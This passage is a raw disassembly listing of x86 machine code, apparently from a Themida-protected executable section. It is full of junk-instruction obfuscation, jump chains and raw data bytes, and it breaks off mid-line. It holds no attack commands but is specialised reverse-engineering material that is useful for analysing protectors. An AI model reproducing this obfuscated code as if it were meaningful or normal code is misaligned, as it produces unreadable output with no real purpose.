89502414h db 0E0h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push 5C40h mov [esp], edx mov edx, 41617875h jmp loc_570C39 ; --------------------------------------------------------------------------- db 81h, 0C2h, 4 dd 81000000h, 4C2h, 24148700h, 6857535Ch, 1A45079Eh, 10426E9h db 0 ; --------------------------------------------------------------------------- loc_55D945: ; CODE XREF: Themida_:005622F3j sub ecx, 3D9471BDh jmp loc_564454 ; --------------------------------------------------------------------------- dd 6658E300h, 6658E768h, 0B2241489h, 1A14E92Ah, 0E9F60001h dd 0CCB60F66h, 4AD6866h, 240C8966h, 0C8B60F66h, 0E99C5166h dd 0FFFFF971h, 595AD301h, 0C48BE9h, 0CBF2D00h, 0EC0D7480h dd 51270915h, 6F8368h, 24148900h, 4E87E9h, 0C1815F00h dd 0EE1B5B29h, 81595F51h, 4ECh, 24148900h, 6171FB68h, 0F4C0E93Fh dd 50590000h, 243C77B8h, 3291E92Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55D9C6: ; CODE XREF: Themida_:0055F308j pop esp push dword ptr [esp] jmp loc_56C61F ; --------------------------------------------------------------------------- db 29h dd 2C8B5FFAh, 4C48324h, 1FEAC281h, 0D0E9146Eh db 2Ah, 1, 0 ; --------------------------------------------------------------------------- loc_55D9E3: ; CODE XREF: Themida_:00562714j xor [esp], ecx sub esp, 4 mov [esp], ecx push esi push dword ptr [esp+4] pop esi jmp loc_56900D ; --------------------------------------------------------------------------- db 0FFh dd 669D1C77h, 4196658h, 0EBE99C24h, 5B000000h, 0C107E3C1h dd 0F38102E3h, 0A8E01404h, 15BD889h, 0C8758C1h, 34FF5C24h dd 0BBE95A24h db 5Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_55DA27: ; CODE XREF: Themida_:00560FCBj push edx mov edx, 2B1F5062h and ebx, edx jmp loc_563BB1 ; --------------------------------------------------------------------------- dd 0D8F79141h, 3B96E9h, 4C48300h, 0E907EAC1h, 1023Dh, 3BE9514Fh dd 8B00005Ch, 0C4812414h, 4, 5866C520h, 0E904E5C0h, 0B825h dd 4C681h, 0BF570000h, 70702E58h, 0EF35E9h, 80DAF600h dd 0E951FFC2h, 0E729h, 80F5285Ah, 8B6660EDh, 0C4812414h dd 2, 8DAE952h db 1, 0 ; --------------------------------------------------------------------------- loc_55DA96: ; CODE XREF: Themida_:0056B8F4j pop eax jmp loc_56BA39 ; --------------------------------------------------------------------------- loc_55DA9C: ; CODE XREF: Themida_:0056E82Ej and esi, edi pop edi jmp loc_56C6C9 ; --------------------------------------------------------------------------- dd 4C181h, 0C870000h, 0EC815C24h, 4, 0BA241489h, 585450E3h dd 0F701EA83h, 0ECA81D2h, 56664167h, 0D276857h, 3C8B53B4h dd 4C48324h, 0A0CDC781h, 0FE8953FFh, 1162E95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55DAE2: ; CODE XREF: Themida_:0056071Fj xor ebp, ecx xor ecx, ebp push ecx jmp loc_55EF93 ; --------------------------------------------------------------------------- aUsig db 'UИ╘┐',0 align 2 dw 0F6E9h dd 47FFFFF7h, 0E96FF781h, 0FD31C4D4h, 0E9E8015Fh, 0F94Eh dd 0E90EF180h, 28A3h, 48B665Ch, 0B7C6824h, 14890000h, 3FCDE924h dd 0E8010000h, 4EC835Dh, 88241C89h, 8B3888CFh, 0C483241Ch dd 8ED0E904h, 66BF0000h, 55075A31h, 5BBE9h, 24143300h dd 0D55FE9h db 0 ; --------------------------------------------------------------------------- loc_55DB4D: ; CODE XREF: Themida_:005611DBj mov ecx, 4B634909h sub ecx, 11BC4B2Ch xor ecx, 23DE13E5h jmp loc_56C920 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0F77FE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DB6E: ; CODE XREF: Themida_:00570AAEj mov [esp], ebp push esp pop ebp add ebp, 4 add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] jmp loc_561EFC ; --------------------------------------------------------------------------- loc_55DB8D: ; CODE XREF: Themida_:0056ECADj mov ebp, 4 jmp loc_57113F ; --------------------------------------------------------------------------- aN1Sea db '╜1ьИE═',0 db 0 ; --------------------------------------------------------------------------- loc_55DB9F: ; CODE XREF: Themida_:0057280Ej mov eax, edi pop edi sub esp, 4 mov [esp], eax add dword ptr [esp], 536E4334h mov edi, [esp] add esp, 4 sub edi, 536E4334h pop eax jmp loc_57171F ; --------------------------------------------------------------------------- loc_55DBC4: ; CODE XREF: Themida_:0055D563j push 4B9Bh mov [esp], ebp mov ebp, esp add ebp, 4 jmp loc_56C482 ; --------------------------------------------------------------------------- db 33h, 3Ch, 24h dd 0E924248Bh, 12D69h ; --------------------------------------------------------------------------- loc_55DBE4: ; CODE XREF: Themida_:00572728j push ebp mov ebp, 58EA48CFh jmp loc_56CA8A ; --------------------------------------------------------------------------- loc_55DBEF: ; CODE XREF: Themida_:00564AA0j xchg ebp, [esp] pop esp mov [esp], ebx mov ebx, 0BFE00002h add esi, ebx pop ebx jmp loc_560DD8 ; --------------------------------------------------------------------------- db 89h dd 0E9542404h, 570h ; --------------------------------------------------------------------------- loc_55DC0C: ; CODE XREF: Themida_:00561332j add ebx, 7905887h sub ebx, eax sub ebx, 7905887h jmp loc_56989F ; --------------------------------------------------------------------------- db 0C0h dd 0E98006E9h, 3780E9CAh, 0F3010001h, 5464EB81h, 0C3813BFBh dd 27906B52h, 0BB7FE955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55DC3E: ; CODE XREF: Themida_:005719D2j push esp pop eax add eax, 4 push edi mov edi, 4 add eax, edi jmp loc_560995 ; --------------------------------------------------------------------------- aOoksj db '%╢O▌KИ╕',0 align 4 dd 468h, 24148B00h, 2D04C483h, 7BAB6621h, 2105D001h, 0FF7BAB66h dd 815A2434h, 4C4h, 2F3A6800h, 90E90000h db 0C3h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55DC87: ; CODE XREF: Themida_:0056AFB3j sub esi, 18A13D9Dh xor esi, 47309834h jmp loc_56BCFF ; --------------------------------------------------------------------------- dd 8B240C33h, 2052424h, 33000000h, 4312404h, 24043324h dd 13A47E9h, 2474FF00h, 241C8B04h, 0E904C483h, 279Eh, 815B5453h dd 4C3h, 4EB8100h, 87000000h, 0E95C241Ch, 1303Dh ; --------------------------------------------------------------------------- loc_55DCD8: ; CODE XREF: Themida_:005638C8j add esp, 4 push ebp mov ebp, 0DB430F8h and ebp, 68A82996h sub ebp, 3CA2E3CFh add esi, ebp pop ebp sub eax, 4BED451Bh add eax, esi add eax, 4BED451Bh pop esi jmp loc_56855C ; --------------------------------------------------------------------------- dw 0D8F7h dd 240CFF50h, 7E8C158h, 87109705h, 58C601FEh, 1E76E9h dd 0E3C15F00h, 0FB34E907h, 34FFFFFFh, 5801E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55DD2A: ; CODE XREF: Themida_:0056B6EEj push ebp push esi mov ebp, [esp] add esp, 4 pop esi or ebp, 265A47F9h sub esp, 4 jmp loc_5679F1 ; --------------------------------------------------------------------------- dd 481CF381h, 0DE0116E2h, 0B43E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55DD52: ; CODE XREF: Themida_:00568985j mov [esp], ebp push 2C346B3Ah pop ebp jmp loc_55FE0E ; --------------------------------------------------------------------------- loc_55DD60: ; CODE XREF: Themida_:00563C5Bj push 131C30E0h jmp loc_5663A0 ; --------------------------------------------------------------------------- aAcqaW db '─Гq─гW',0 db 0F8h, 0E9h, 5Eh db 68h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55DD77: ; CODE XREF: Themida_:00561E22j sub esp, 4 mov [esp], eax push ebx jmp loc_57197F ; --------------------------------------------------------------------------- dw 4BFh dd 81000000h, 0F41FB7EDh, 0B08BE922h, 14890000h, 3636BA24h dd 0D0011050h, 83D8295Ah, 3C8904ECh, 75685024h, 58264A40h dd 215A3B35h, 58C78975h, 68h, 243C2900h, 149DE9h, 0FC00B00h dd 74D384h, 15596800h, 0C890000h, 5766824h, 4890000h, 774E6824h dd 34FF0904h, 6EE95824h, 570000D7h, 726535BFh, 5FFB2953h dd 0C381CB01h, 53726535h, 6F3FEB81h, 56597F8Ah, 9B3C33BEh dd 2EB95150h, 815E142Eh, 0CA4C93C9h, 3E1C146h, 0E981D1F7h dd 0C0ED13A8h, 4EE3E9h, 0E9F00100h, 0F6D0h ; --------------------------------------------------------------------------- loc_55DE2C: ; CODE XREF: Themida_:005690FCj mov ebp, esp jmp loc_56BC53 ; --------------------------------------------------------------------------- aISov db '┴,$И▌V',0 dw 5B00h dd 477CE956h db 1, 0 ; --------------------------------------------------------------------------- loc_55DE42: ; CODE XREF: Themida_:00570B5Fj add ecx, edx pop edx add ecx, 4 xchg ecx, [esp] pop esp add [esp+4], esi mov esi, [esp] add esp, 4 pop dword ptr [edi+24h] loc_55DE5C: ; CODE XREF: Themida_:0056F001j push ebx jmp loc_569C3E ; --------------------------------------------------------------------------- dw 0C483h dd 0E2895204h, 4C281h, 0EA810000h, 4, 5C241487h, 0B9240C89h dd 267879C2h, 3C41F181h, 0E9811857h, 0EC4038B5h, 0CDF18141h dd 5151EF0Ch, 0C0CE9h, 48F5400h, 24048324h, 243C8B04h dd 0B69AE9h db 0 ; --------------------------------------------------------------------------- loc_55DEA9: ; CODE XREF: Themida_:0056FD69j sub ecx, ebp add ecx, 0C295DD5h jmp loc_5604A1 ; --------------------------------------------------------------------------- loc_55DEB6: ; CODE XREF: Themida_:0056029Ej xor [esp+4], ecx mov ecx, [esp] add esp, 4 pop dword ptr [edi+20h] jmp loc_5651A6 ; --------------------------------------------------------------------------- db 91h dd 8104E1C1h, 0D264D3E9h, 93C18133h, 293CDF05h, 3AE959CDh db 17h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55DEE3: ; CODE XREF: Themida_:0056E6C6j push ebx mov bh, 5Ah push ebx mov bh, 34h mov dl, 0FFh xor dl, bh pop ebx sub dl, bh pop ebx add dl, 0C9h sub dl, 24h sub esp, 4 mov [esp], ecx push ebx mov bl, 21h add bl, 6Dh mov ch, bl pop ebx add dl, ch jmp loc_564145 ; --------------------------------------------------------------------------- loc_55DF0D: ; CODE XREF: Themida_:00565897j push edx push eax mov eax, 0DBE18F0h jmp loc_5727F6 ; --------------------------------------------------------------------------- db 1, 0FBh, 8Bh dd 0C483243Ch, 804FE904h, 0D9F70000h, 1B0E941h, 48B0000h dd 4C48124h, 0E9000000h, 0AA5Dh ; --------------------------------------------------------------------------- loc_55DF3C: ; CODE XREF: Themida_:0055FE7Aj mul cl movzx cx, ah push small 43EEh mov [esp], cx movzx cx, al push cx pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- dw 0D601h dd 4C6815Ah, 87000000h, 9E92434h db 0Ah, 1, 0 ; --------------------------------------------------------------------------- loc_55DF67: ; CODE XREF: Themida_:00561031j pop dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 jmp loc_570BCE ; --------------------------------------------------------------------------- loc_55DF79: ; CODE XREF: Themida_:00560FABj mov edi, 40277253h mov ebp, 0D8D2B880h add ebp, edi jmp loc_56A1D7 ; --------------------------------------------------------------------------- loc_55DF8A: ; CODE XREF: Themida_:00563BACj push esi mov esi, 2DA7F59h jmp loc_5659E1 ; --------------------------------------------------------------------------- db 0BDh, 9Eh, 79h dd 0EDC13546h, 30C58108h, 4D47C26Fh, 0B5ACF581h, 0EB0147F7h dd 5293685Dh, 0C890000h, 2B924h, 0B8500000h, 3A350E5Eh dd 48BC329h, 4C48124h, 29000000h, 95BD55CBh, 0E92C0F24h dd 53F0h ; --------------------------------------------------------------------------- loc_55DFD8: ; CODE XREF: Themida_:0056E18Dj mov [esp], edi pop edx pop edi mov eax, edx pop edx push esi jmp loc_56EA43 ; --------------------------------------------------------------------------- dw 2C89h dd 81E58924h, 4C5h, 3D685000h, 8900005Bh, 4BE9241Ch, 5F00010Fh dd 9B5ABE56h, 0FF2DA16Bh, 0E950272Ch, 11725h, 40DA68h dd 241C8900h, 79ADE9h, 15C38100h, 9EC2161h, 0F7485BD8h dd 7C7B05D0h, 0B8502DE7h, 526A0B3Bh, 0E8C1D0F7h, 0D0F74806h dd 3507E8C1h, 5F27E57Ah, 158C101h, 2AE981C1h, 585EDD76h dd 2BF57h, 28E90000h, 33000068h, 1AE9240Ch db 59h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E063: ; CODE XREF: Themida_:0055D3DCj push eax mov eax, esp jmp loc_56E08E ; --------------------------------------------------------------------------- db 2Dh dd 644549E1h, 81240C8Bh, 4C4h, 24043300h, 0E9240431h, 9F9Ch dd 4BEh, 5EF50100h, 4737E9h db 0 ; --------------------------------------------------------------------------- loc_55E091: ; CODE XREF: Themida_:0056F476j add esp, 4 push dword ptr [esp] jmp loc_56F203 ; --------------------------------------------------------------------------- loc_55E09F: ; CODE XREF: Themida_:00568C51j mov eax, [esp] jmp loc_564F85 ; --------------------------------------------------------------------------- loc_55E0A7: ; CODE XREF: Themida_:0055E560j pop esi mov eax, [esp] push edi mov edi, esp add edi, 4 push ecx mov ecx, 4 add edi, ecx jmp loc_56F2BB ; --------------------------------------------------------------------------- aSvt db '\Иv▓',0 dw 5100h aKgwB8 db '╧┼Gw',8,'│а8:',0 dw 8155h dd 0C2F95FF1h, 6A2E905h, 0C1810000h, 52BBFBCBh, 1FE6E9h db 0 ; --------------------------------------------------------------------------- loc_55E0E9: ; CODE XREF: Themida_:005668D9j mov [esp], eax push dword ptr [esp+4] pop eax jmp loc_56A2B8 ; --------------------------------------------------------------------------- dw 8966h dd 0E9502414h, 1427Dh, 1E77E953h db 1, 0 ; --------------------------------------------------------------------------- loc_55E106: ; CODE XREF: Themida_:00570C18j add [ebx], ebp jmp loc_56DD5F ; --------------------------------------------------------------------------- db 83h, 0EEh, 4 aZ4S db '┤4$Ит*',0 align 4 dd 2404895Ch, 3735E9h, 80C30000h, 6866EAEBh, 8966673Bh dd 37B1240Ch, 0C058B450h, 0ECC007ECh, 7BEC8005h, 0E958E300h dd 8AD9h ; --------------------------------------------------------------------------- loc_55E144: ; CODE XREF: Themida_:00568DF5j sub ecx, 4 jmp loc_566D07 ; --------------------------------------------------------------------------- dd 48BE588h, 4C48324h, 83241C8Bh, 686604C4h, 0C8E91BB9h dd 3B000131h, 82E99CC8h, 81FFFFF1h, 2A1C77E7h, 0C3CF8117h dd 0E914F94Ah, 29AEh, 8324048Bh, 0BB5304C4h, 4, 22BF5751h dd 812B5502h, 4102FBF7h, 33F78104h, 0E963C316h, 111EAh ; --------------------------------------------------------------------------- loc_55E1A0: ; CODE XREF: Themida_:005651F0j push esp pop ecx push ebp mov ebp, 7E4005Dh add ebp, 1 push 0 sub [esp], ebp pop ebp sub ebp, 576C07DEh neg ebp add ebp, 0A0AFF7C8h add ecx, ebp mov ebp, [esp] add esp, 4 push esi mov esi, 4 add ecx, 3AF42534h add ecx, esi sub ecx, 3AF42534h jmp loc_570297 ; --------------------------------------------------------------------------- loc_55E1E3: ; CODE XREF: Themida_:00566919j xor edx, 7FA22909h push ebx mov ebx, 9E2F6B57h jmp loc_563186 ; --------------------------------------------------------------------------- loc_55E1F4: ; CODE XREF: Themida_:0056BB3Fj add [esp+4], eax jmp loc_563E4A ; --------------------------------------------------------------------------- db 5Dh, 51h, 0B9h dd 19460E84h, 159CB01h, 90EE9C3h, 0D1F70000h, 137FEE9h dd 4BA5200h, 1000000h, 0C2E95AD5h, 83000003h, 148904ECh dd 5E95424h db 0C1h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E22F: ; CODE XREF: Themida_:00564539j push 4541h mov [esp], ecx mov ecx, 4 add ebp, 3FC75C30h add ebp, ecx sub ebp, 3FC75C30h jmp loc_56D103 ; --------------------------------------------------------------------------- loc_55E24F: ; CODE XREF: Themida_:0056AC2Dj push dword ptr [esp] jmp loc_56D352 ; --------------------------------------------------------------------------- db 0BAh dd 2FE236FAh, 0F281DAF7h, 1806C46h, 6802EAC1h, 0 dd 5A241429h, 5DB0C281h, 0D629AFFEh, 15C5815Ah, 815DDD36h dd 554C55EDh, 0E9F50169h, 0FFFFF2DCh, 6FE9585Eh, 1000088h dd 0C8015EF0h, 130AF2Dh, 13150511h, 34FF6DAAh, 0C4815924h dd 4, 0F497E9h, 0D1EDD100h, 97868E5h, 7DE90000h db 27h, 1, 0 ; --------------------------------------------------------------------------- loc_55E2BF: ; CODE XREF: Themida_:0056676Aj mov ebx, esp jmp loc_56347E ; --------------------------------------------------------------------------- dw 0C381h dd 66B1EE8h, 164EB81h, 3E921CBh, 66000093h, 660001BEh dd 0A1E9F301h, 0AD0000DAh, 0EA68D831h, 89000002h, 0E6892434h dd 4C681h, 0EBE90000h db 12h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E2FB: ; CODE XREF: Themida_:00564F09j mov [esp], eax jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_55E303: ; CODE XREF: Themida_:0056609Ej push edi push 6EE8D0AFh pop edi xor esi, edi pop edi and edx, esi pop esi xor edx, 51F63B84h push 0E76h mov [esp], eax mov eax, 683475BCh push edi mov edi, 10D8320Dh xor eax, edi pop edi or edx, eax pop eax push esi mov esi, 789901B4h sub edx, esi pop esi shl edx, 4 jmp loc_5625C2 ; --------------------------------------------------------------------------- dd 0FCCF22BFh, 0F2F9E93Bh, 0C890000h, 50E6B124h, 0E1303CB4h dd 4E9C058h, 0C180D9F6h, 0FC98001h, 88CFF180h, 0C28859C8h dd 4FD0458h, 2CD000C3h, 0B35351C3h, 0DBEB800Fh, 0CDE9DD88h dd 8B000058h, 0C483243Ch, 1A7EE904h db 1, 0 ; --------------------------------------------------------------------------- loc_55E38A: ; CODE XREF: Themida_:0056474Aj push dword ptr [esp] mov eax, [esp] add esp, 4 push ecx jmp loc_560B58 ; --------------------------------------------------------------------------- dd 24048B66h, 4EC81h, 1C890000h, 81E38924h, 4C3h, 51026800h dd 3C890000h, 5297E924h, 0C4830000h, 3EEAE904h, 1C8B0001h dd 4C48124h, 87000000h, 248B2414h, 0B60F6624h, 2269E9C8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55E3DE: ; CODE XREF: Themida_:0055F1DAj push edx sub dword ptr [esp], 0DD44B4Bh jmp loc_561279 ; --------------------------------------------------------------------------- db 57h dd 68575EBFh, 2722E91Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55E3F6: ; CODE XREF: Themida_:00571319j add edx, esi sub edx, 36133D5Dh jmp loc_570C6B ; --------------------------------------------------------------------------- db 68h dd 6884h, 0E9242C89h, 0C315h, 575DE931h, 0A00268BFh, 20EF816Bh dd 1FF389Eh, 4CF4E9FAh, 0E8000000h, 1E041404h, 83240C8Bh dd 0C38004C4h, 5EF768E5h, 0C890000h, 0FE30B124h, 23C180C1h dd 8007E980h, 12E994E9h, 8100007Bh, 4C4h, 30E95600h, 500005Ah dd 660167Fh, 5F2434FFh, 0E904C483h, 0B7FCh, 0FE8DB050h dd 0FEC0FEC8h, 28652CC8h, 24048BC3h, 8004C483h, 0EB003AEBh dd 503AC380h, 0C0FEC7B0h, 0E953C0FEh, 0B854h ; --------------------------------------------------------------------------- loc_55E494: ; CODE XREF: Themida_:0056F99Ej mov ebp, eax jmp loc_569BC6 ; --------------------------------------------------------------------------- db 2Dh dd 4, 28B2E950h, 0C4810000h, 4, 0B85B6F05h, 81D80120h dd 4ECh, 24148900h, 0B85B6FBAh, 5AD02920h, 83241C8Bh, 0BB5304C4h dd 4, 835BD801h, 48904ECh, 2474FF24h, 99E95804h, 6600010Dh dd 8324148Bh, 3C8904ECh, 0EFE95424h, 54000013h, 4C18159h dd 55000000h, 104A0E9h, 0C006800h, 0C890000h, 50E18924h dd 4B8h, 0E9C10100h, 0FF2Dh ; --------------------------------------------------------------------------- loc_55E518: ; CODE XREF: Themida_:00564440j push edi inc dword ptr [esp] pop edi shr edi, 3 jmp loc_55FFF4 ; --------------------------------------------------------------------------- loc_55E525: ; CODE XREF: Themida_:005698DEj mov eax, 51A80009h xor [esp+4], eax pop eax jmp loc_56C0DE ; --------------------------------------------------------------------------- loc_55E534: ; CODE XREF: Themida_:0056A00Bj shl ecx, 5 or ecx, 45AD53E2h add ecx, 0B3B364Bh push ecx xor dword ptr [esp], 524774FBh push dword ptr [esp] pop esi add esp, 4 xor esi, 524774FBh pop ecx xor [esp+4], esi jmp loc_55E0A7 ; --------------------------------------------------------------------------- loc_55E565: ; CODE XREF: Themida_:0056CD3Dj pop esp xor eax, ebp mov ebp, [esp] push eax jmp loc_564288 ; --------------------------------------------------------------------------- db 0BEh, 0E1h, 50h dd 0D6F703D0h, 0E3FEE9h, 0BE565C00h, 4, 875EF501h, 0E95C242Ch dd 545Dh ; --------------------------------------------------------------------------- loc_55E590: ; CODE XREF: Themida_:0056BDA8j inc esi add esi, 0E15FFD81h push ebp mov ebp, 7D08307Fh or ebp, 735309B0h sub ebp, 62862C97h xor ebp, 12DF1535h add edi, ebp pop ebp add edi, esi sub edi, 0E0A185Dh mov esi, [esp] add esp, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp jmp loc_571CD1 ; --------------------------------------------------------------------------- dd offset dword_480004+0C57Ch dw 59EAh dd 5CF46866h, 24148966h, 0E457E9h, 4C58100h, 87000000h dd 248B242Ch, 0F2E95324h, 890000CFh, 0F90158C7h, 0A180E95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55E602: ; CODE XREF: Themida_:0056881Cj mov ecx, 60982925h jmp loc_56EB5F ; --------------------------------------------------------------------------- dd 2459EE81h, 0F7560C15h, 0E95E2414h, 2482h ; --------------------------------------------------------------------------- loc_55E61C: ; CODE XREF: Themida_:0056F33Bj add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_55D5D4 ; --------------------------------------------------------------------------- loc_55E62F: ; CODE XREF: Themida_:0055E6A7j xor edx, [esp] xor [esp], edx pop ebp shl ebp, 3 push esi mov esi, 2FF95B9Dh shl esi, 3 shr esi, 3 sub esi, 0D58DC1D1h sub ebp, esi mov esi, [esp] add esp, 4 add ecx, 78B11505h sub ecx, 3B104F41h add ecx, ebp add ecx, 3B104F41h sub ecx, 78B11505h pop ebp push edi jmp loc_568644 ; --------------------------------------------------------------------------- aBsUxis1s db '│И^u∙iИ1≤',0 dw 4E00h dd 1F24E681h, 0C6814278h, 27044C55h, 0D2FDE9h, 62B36800h dd 14890000h, 34FF5424h, 4A72E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55E6A2: ; CODE XREF: Themida_:0056FEBBj not edx xor [esp], edx jmp loc_55E62F ; --------------------------------------------------------------------------- dd 1F2B82BDh, 0A7F5813Bh, 0E91EAA1Dh, 0FFFFFBF5h, 431AE952h dd 88BE0000h, 0E902A436h, 0AF56h ; --------------------------------------------------------------------------- loc_55E6CC: ; CODE XREF: Themida_:00570016j mov ebp, [esp] add esp, 4 push ecx mov ecx, 7A9766F0h inc ecx dec ecx jmp loc_56E151 ; --------------------------------------------------------------------------- dw 2958h dd 5904244Ch, 0F7BD5559h, 177F61Eh, 0D4D8E9E9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55E6F6: ; CODE XREF: Themida_:005604BAj pop ecx add eax, 4 jmp loc_56DD2C ; --------------------------------------------------------------------------- loc_55E6FF: ; CODE XREF: Themida_:00566594j add ebp, 4 xchg ebp, [esp] pop esp add esp, 4 add ebx, 79C94C7Ah sub ebx, eax push ecx mov ecx, 79C94C7Ah sub ebx, ecx pop ecx push ecx mov ecx, 40883F8Dh add ebx, ecx pop ecx jmp loc_5676A2 ; --------------------------------------------------------------------------- dw 77FFh dd 58669D1Ch, 24041166h, 0EBAFE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E73E: ; CODE XREF: Themida_:00560B13j push 1AEDh mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 xor ecx, [esp] xor [esp], ecx jmp loc_55D334 ; --------------------------------------------------------------------------- loc_55E75F: ; CODE XREF: Themida_:0056E1F8j add eax, 4BC81C63h sub eax, 58E4748Ch add eax, ebp add eax, 58E4748Ch sub eax, 4BC81C63h pop ebp push 5BF3h jmp loc_56A60D ; --------------------------------------------------------------------------- aYzsD db ')хYZИ╨D',0 dd 20D06800h, 8F540000h, 0C0E92404h db 32h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E797: ; CODE XREF: Themida_:00562AA8j mov esi, 584E1851h jmp loc_5701DE ; --------------------------------------------------------------------------- db 0BAh, 2, 0 dd 0D7010000h, 0E924148Bh, 0FFFFFC0Eh ; --------------------------------------------------------------------------- loc_55E7B0: ; CODE XREF: Themida_:00569421j mov edi, 679D1CDFh mov esi, edi pop edi push 11CDh mov [esp], esi jmp loc_565FB8 ; --------------------------------------------------------------------------- db 81h, 0C6h, 4 dd 0E9000000h, 4781h, 5A240486h, 5F55E9h, 0C7815B00h, 284502E7h dd 19E9FB01h, 81000077h, 4C4h, 76E95900h, 83000081h, 0B0E904C4h dd 550000B0h, 6AD7E9h, 4EC8100h, 89000000h, 54572424h dd 4C7815Fh, 81000000h, 4EFh, 2714E900h db 1, 0 ; --------------------------------------------------------------------------- loc_55E81E: ; CODE XREF: Themida_:00571F1Ej mov [esp], edi sub dword ptr [esp], 73140975h jmp loc_560375 ; --------------------------------------------------------------------------- loc_55E82D: ; CODE XREF: Themida_:00564E3Ej or ebx, 0DA21705h push ecx push edi mov edi, 2F950825h mov ecx, edi mov edi, [esp] add esp, 4 shl ecx, 5 add ecx, 72C92739h shr ecx, 7 inc ecx sub ecx, 0E8C5B0B0h jmp loc_560B02 ; --------------------------------------------------------------------------- dw 0DDF7h dd 6EDC14Dh, 0E8D8E9h, 48B6600h, 4EC8324h, 54242C89h, 4C5815Dh dd 83000000h, 48904ECh, 0EC835224h, 24248904h, 38C6E9h db 0 ; --------------------------------------------------------------------------- loc_55E889: ; CODE XREF: Themida_:00565E03j sub eax, 5BFC0DE2h add eax, ebp jmp loc_56F137 ; --------------------------------------------------------------------------- aZ4S_0 db '┤4$\Ияэ',0 align 2 aISk2 db '┴ъ[И╙2',0 align 2 dw 1C30h dd 241C3224h, 66241C30h, 0A69DE950h, 0BF570000h, 737A4263h dd 0BDE9FB01h, 0B2000099h, 66D53038h, 8BE8305Ah, 62E9240Ch dd 80000101h, 0EA28B8EAh, 8BB8C280h, 0C483240Ch, 0E005E904h dd 565A0000h, 0FFEAF4E9h, 0FFD701FFh, 148B2434h, 4C48124h dd 83000000h, 3C8704C4h, 24248B24h, 72D0E9h, 81E58900h dd 4C5h, 478BE900h, 34310000h, 24343324h, 9850E9h, 0B2BB5300h dd 51627745h, 0AB3F43B9h, 81D1F77Eh, 805860C1h, 0BD55414Ah dd 0AEA9F973h, 0DBE9E929h db 29h, 1, 0 ; --------------------------------------------------------------------------- loc_55E943: ; CODE XREF: Themida_:00568A61j push ecx mov ecx, 78565D12h sub ecx, 2E4212BAh not ecx shl ecx, 8 push 4072h jmp loc_568CA4 ; --------------------------------------------------------------------------- aRsscd db '(ьRSИ≈└',0 dw 5500h dd 168h, 180DE900h, 0E95F0000h, 3310h ; --------------------------------------------------------------------------- loc_55E978: ; CODE XREF: Themida_:0056613Aj sub esp, 4 mov [esp], edx push eax jmp loc_56F698 ; --------------------------------------------------------------------------- loc_55E984: ; CODE XREF: Themida_:00562EBFj pop edi push dword ptr [esp] jmp loc_566A86 ; --------------------------------------------------------------------------- loc_55E98D: ; CODE XREF: Themida_:0056B526j mov esp, [esp] push 1FF4h mov [esp], ebp mov ebp, 491E1759h sub esi, ebp pop ebp sub esp, 4 mov [esp], ebx mov ebx, 5E2042A7h inc ebx add ebx, 1189F504h jmp loc_563490 ; --------------------------------------------------------------------------- db 0FFh dd 0C8B2434h, 0EC835324h, 24248904h, 4E88E9h, 0C84BD00h dd 0F58120C7h, 2E44608Eh, 44E9D5F7h, 81000106h, 4C7h, 4C78100h dd 87000000h, 315C243Ch, 31DE31F3h, 0E9D6F7F3h, 10405h dd 0FF240C89h, 8B042474h, 0C481240Ch, 4, 5C24048Fh, 662CD800h dd 18E868h, 241C8900h, 4EC81h, 4890000h, 507EB424h, 0CB045CB0h dd 0DB4CE9h db 0 ; --------------------------------------------------------------------------- loc_55EA2D: ; CODE XREF: Themida_:00570F2Dj add ebp, esi mov esi, [esp] push ecx mov ecx, esp jmp loc_56B816 ; --------------------------------------------------------------------------- loc_55EA3A: ; CODE XREF: Themida_:00562E2Aj push esi mov esi, ecx push esi pop ebp pop esi mov eax, ebp push dword ptr [esp] pop ebp jmp loc_56C773 ; --------------------------------------------------------------------------- db 0C1h dd 0C14A07EAh, 0CA8106E2h, 123B162Bh, 0E436F281h, 0D5013FFAh dd 5DEE295Ah, 0F7EDE952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EA6A: ; CODE XREF: Themida_:00567586j mov [esp], eax mov eax, 24h add eax, edi jmp loc_56C6FA ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 0E9C8AF0Fh, 0CFF0h ; --------------------------------------------------------------------------- loc_55EA84: ; CODE XREF: Themida_:0055ED85j push 114Ah mov [esp], esi push dword ptr [esp+4] pop esi pop dword ptr [esp] push dword ptr [esp] pop ebp add esp, 4 xor eax, ebp jmp loc_563305 ; --------------------------------------------------------------------------- db 0B9h, 0DAh, 12h dd 0D9F734B0h, 2618C181h, 71E90F03h, 0B000001Fh, 2E0C061h dd 42DCE9h, 99E98100h, 812D2E2Eh, 31E89E9h, 0B0E98164h dd 1055123h, 0B0C181D1h, 0E9055123h, 0F22Bh ; --------------------------------------------------------------------------- loc_55EAE0: ; CODE XREF: 